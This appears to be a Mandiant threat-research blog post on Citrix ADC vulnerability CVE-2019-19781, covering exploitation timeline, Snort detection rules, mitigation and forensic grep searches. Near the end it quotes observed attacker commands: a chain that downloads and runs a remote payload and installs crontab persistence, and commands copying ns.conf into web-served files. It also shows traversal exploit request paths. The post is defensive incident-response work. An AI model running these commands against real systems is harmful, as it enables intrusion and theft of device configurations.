Rough Patch: I Promise It'll Be 200 OK (Citrix ADC CVE-2019-19781)
Mandiant
Written by: Nick Carr, Matt Bromiley
On Dec. 17, 2019, Citrix released security bulletin CTX267027, which identified a vulnerability in Citrix Application Delivery Controller (ADC) and Citrix Gateway. This vulnerability, assigned CVE-2019-19781, could allow an unauthenticated attacker to perform arbitrary remote code execution via directory traversal. This vulnerability received a score of 9.8 and was deemed Critical. On Jan. 8, 2020, Tripwire provided a very detailed explanation of the CVE that we recommend reading.
Based on this background, many offensive security professionals described their ability to weaponize CVE-2019-19781 but signaled their plans to keep their exploitation code private, in favor of providing defenders with scanners. However, on Jan. 10, 2020, FireEye observed the public release of a code repository containing proof-of-concept (PoC) code that assisted and automated the exploitation of this vulnerability—at which point multiple reputable offensive security professionals released their previously-private tooling. As of that night, FireEye network appliance telemetry showed reconnaissance for vulnerable Citrix instances conducted from anonymizers, such as Tor, and known-blacklisted IP addresses. Other organizations publicly shared honeypot data indicating a similar trend. Shortly afterwards, we observed weaponized versions of this exploit used to gain a foothold in victim organizations. Figure 1 provides a high-level timeline of this vulnerability’s maturation.
Figure 1: High-level timeline of key vulnerability events
As of this blog post, our Mandiant Incident Response team is currently responding to multiple incidents showing this vulnerability as the earliest evidence of threat actor activity within the environment. Our Mandiant Managed Defense SOC has also observed intrusion attempts with this vulnerability as an entry vector. Our detections have primarily been concentrated on scans looking for vulnerable systems; however, we have seen repeated exploitation attempts in the travel, legal, financial, and education sectors.
We strongly recommend Citrix’s mitigation steps for this vulnerability. Citrix has also released a patch schedule for vulnerable products, beginning on Jan. 20, 2020.
We also recommend double-checking your visibility into vulnerable devices, as perimeter appliances are often placed in front of network security monitoring tools, thus limiting the effectiveness of network security monitoring. Furthermore, it’s possible that these attacks may take place over encrypted channels, further limiting visibility.
Don’t Sweat the Technique—or the Detection
Unfortunately, many network-based exploits receive benefits such as encrypted channels, which may hinder network security monitoring. However, when traffic is available unencrypted, detection engines—such as Snort—can prove to be an invaluable resource. To be as thorough as possible in our detections, we started with publicly shared detection rules looking for exploitation attempts. An example POST exploitation, including directory traversal and access to the commonly abused Perl script, may appear as follows:
POST /vpn/../vpns/portal/scripts/newbm.pl
Many of the rules that we first analyzed relied on two elements:
- Specific URI for the exploitation attempt (/vpns/)
- Directory traversal (“/.../”)
Let’s split up these two portions of logic to begin putting our rule together.
Our first rule utilizes Snort’s distance operator with a negative distance to indicate the traversal backslashes may overlap, but also may not (you may notice we’re also not utilizing http_uri post-processing, for legacy environments that do not have this capability):
Figure 2: Snippet of PCAP showing successful curl of smb.conf
Note that some security researchers have posted scanners based on HTTP’s HEAD method, which will avoid leaking sensitive details (and limit the amount of bandwidth needed to test!). We recommend Robert (@x1sec)’s citrixmash_scanner for this method.
We noticed early on that many of the public rulesets were case-sensitive on /vpns/; meaning, there is no presence of Snort’s nocase operator. Thus, we had to determine if this attack was case-sensitive (which, we hypothesized was, due to directory traversal):
Figure 3: Snippet of PCAP showing vulnerability is case-sensitive
Indeed, case sensitivity is important!
Our next test brought us to expanding upon basic ASCII text. Meaning, could we convert some of our request to character encoding that would evade our detection logic? This could potentially evade publicly distributed rules. Furthermore, on Jan. 12, 2020, we observed threat actors in the wild utilizing URL-encoded characters to deploy malware in victim environments. The following request was their first into the environment:
POST
/vpn/js/%2e%2e/%2e%2e/vpns/portal/scripts/newbm.pl/OfYPWcX3Zl1NIxQQ7ZpL7kCHDSiCEuuf.pl
GET
/vpn/js/%2e%2e/%2e%2e/vpns/portal/OfYPWcX3Zl1NIxQQ7ZpL7kCHDSiCEuuf.xml
Figure 4: Snippet of HTTP logs showing success of character encoding
At this point, we began contemplating how we could structure Snort rules to account for these permutations. The more logic we build into a detection signature, oftentimes the more computationally expensive the detection becomes. Furthermore, many threat actors are skilled at working around detections that are too rigid. Luckily, Citrix has already come to our aid in this manner.
We implemented Citrix’s mitigation, and noticed our bypassing techniques did not work. Thus, we examined the mitigation technique even further. The following mitigation command, meant to be typed on your vulnerable device, contains perhaps the most crucial step to mitigating current exploits:
add responder policy ctx267027
"HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") &&
(!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))"
respondwith403Packet Up, Packet In: Snort Rule Section
In this section, we explore some considerations on more resilent rules since exploitation attempt coverage won’t cover all obfuscation and substitution methods. A decent way to tackle rules that rely on other rules to fire first is by using flowbits. For example, for an attemped exploit, you would set:
flow:established,to_server; flowbits:set,cve201919781;
Afterwards, you could use flowbit in any follow-up rules such as looking for successful exploit responses with:
flow:established,to_server; flowbits:isset,cve201919781;
If your organization is being slammed with scanning, you could modify your rules to take advantage of flowbits:noalert on the scanning attempts and only surface an alert based on successful exploitation. To take that method a step further for this vulnerability—assuming the threat actor exploitation techniques we’ve observed thus far, we could chain a second flowbit for a follow-up GET/HEAD/OPTION method for an .xml file with noalert. However, this technique still relies on capturing the exploitation attempt with your initial rule logic, which we’ve demonstrated above can be challenging if encoding or obfuscation are used. Luckily for this exploit, vulnerable server responses are unique enough to not require flowbits being set and you can look at the response.
With all of these pieces in place, we arrive at the following preliminary rules:
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential CVE-2019-19781 vulnerable .CONF response"; flow:established,to_client; content:"HTTP/1."; depth:7; content:"200 OK"; distance:1; content:"|0d0a|Server: Apache"; distance:0; content:"al]|0d0a|"; distance:0; content:"encrypt passwords"; distance:0; content:"name resolve order"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential CVE-2019-19781 vulnerable .PL response"; flow:established,to_client; content:"HTTP/1."; depth:7;
content:"200 OK"; distance:1; content:"|0d0a|Server: Apache"; distance:0; content:"|0d0a|Connection: Keep-Alive"; content:"|0d0a0d0a3c48544d4c3e0a3c424f44593e0a3c534352495054206c616e67756167653d6
a61766173637269707420747970653d746578742f6a6176617363726970743e0a2f2f706172656e74
2e77696e646f772e6e735f72656c6f616428293b0a77696e646f772e636c6f736528293b0a3c2f534
3524950543e0a3c2f424f44593e0a3c2f48544d4c3e0a|"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;)
You will note the first signature’s similarity to the response size method used in citrixmash_scanner.
Writing detection rules is one of the most important skills that a defender can acquire to help defend against the known. Unfortunately, detection rules that are too rigid will end up providing an easy chance for bypasses, while vague detection rules will drown you in false positives. We encourage, as you write detections, to look for ways to structure data in the same sequence which you would analyze; such as what we did with flowbits and content strings above. In fact, we’d love to see other creative rules for successful exploitation – since we acknowledge ours may be specific to our tested environments and we’re still collecting data on our own rules from our network sensor fleet.
To assist in this, we’re sharing the following PCAP with this blog post:
- GET request for checking .conf file for a 200 OK response
- POST request exploiting the vulnerability using a publicly-available tool
As information on this vulnerability is released, we’ll continue to observe and document our findings. We're joined by many security researchers doing the same, most of whom are looking to defend against the weaponization and malicious use of this vulnerability. In fact, as we were writing this post, Twitter user “mpgn” has identified that directory traversal may not be necessary, in addition to other Perl scripts that may be abused.
No Snort, No Clues—No Problem!
It’s time to provide some insight into post-compromise activity and a few investigation tips.
If you suspect this exploit used against your environment, and do not have network security monitoring in place, there are forensic steps to be taken to preserve key artifacts associated with this exploit. The web server built into NetScaler devices is Apache, which provides a minimum level of logging that can be utilized during forensic analysis.
During our ongoing Mandiant IR investigations, we developed the following simple grep searches to help identify exploitation artifacts within a victim server’s HTTP access logs, located at /var/log/httpaccess.log:
grep -iE 'POST.*\.pl HTTP/1\.1\" 200 ' /var/log/httpaccess.log -A 1
grep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log -B 1Mandiant incident responders have noted that persistence was added to crontab as a part of the initial post-exploitation from at least one group exploiting CVE-2019-19781 as observed at multiple clients:
pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -k hxxps://95.179.163[.]186/wp-content/uploads/2018/09/8b6cebb4e5712e3433d0e32e61d535dd -o /tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * * /var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"This particular opportunist threat actor has also been observed stealing nsconfig by appending it to dummy netscaler template files:
cat /nsconfig/ns.conf >>/netscaler/portal/templates/.xml
ls -la cat /nsconfig/ >>/netscaler/portal/templates/.xmlAcknowledgements
Thank you to Rick Cole for creating our earliest detection coverage and the team of Mandiant incident reponders for input for this blog post—especially Austin Baker, Brandan Schondorfer and John Prieto—and for all of the consultants who are responding to or securing their client environments from this vulnerability. Thanks also to Nicholas Luedtke from our Vulnerability Intelligence team for his assistance in refining this blog post’s disclosure and tooling timeline.
We also want to give a special shout out to the folks at TrustedSec who shared a helpful scanner and then later, both an exploit and detection techniques within minutes of each other!
Best of luck to all defenders working on CVE-2019-19781—we promise to be with you on the front lines in joyness and in sorrow, in Citrix and in health.
Check out our follow-up blog post about an actor who is blocking CVE-2019-19781 exploitation attempts while maintaining a backdoor. Catch an on-demand recap on this and the Top 5 Managed Defense attacks this yea
